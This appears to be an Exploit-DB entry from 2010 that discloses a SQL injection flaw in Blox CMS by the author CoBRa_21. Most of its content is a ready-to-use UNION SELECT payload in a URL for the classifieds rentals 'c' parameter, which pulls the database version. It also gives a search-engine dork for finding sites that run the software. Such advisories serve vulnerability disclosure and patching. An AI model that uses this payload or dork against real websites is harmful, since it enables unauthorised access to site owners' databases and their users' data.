BloxCMSSQL注射漏洞

Blox CMS SQL Injection Vulnerability

# Title: blox CMS SQL Injection Vulnerability
# EDB-ID: 12729
# CVE-ID: ()
# OSVDB-ID: ()
# Author: CoBRa_21
# Published: 2010-05-24
# Verified: yes
# Download Exploit Code
# Download N/A

------------------------------------------------------------------------------------------- 

Blox CMS SQL Injection Vulnerability 

------------------------------------------------------------------------------------------- 

Author: CoBRa_21 

Script Home: http://bloxcms.com/ 

Dork: Powered by Blox CMS from TownNews.com 

------------------------------------------------------------------------------------------- 

Sql Injection: 

http://localhost/[path]/app/classifieds/rentals/?c=-156%20union%20select%200,1,2,3,4,version%28%29,6,7,8,9,10,11,12,13,14,15 

Demo : 

http://localhost/app/classifieds/rentals/?c=-156%20union%20select%200,1,2,3,4,version%28%29,6,7,8,9,10,11,12,13,14,15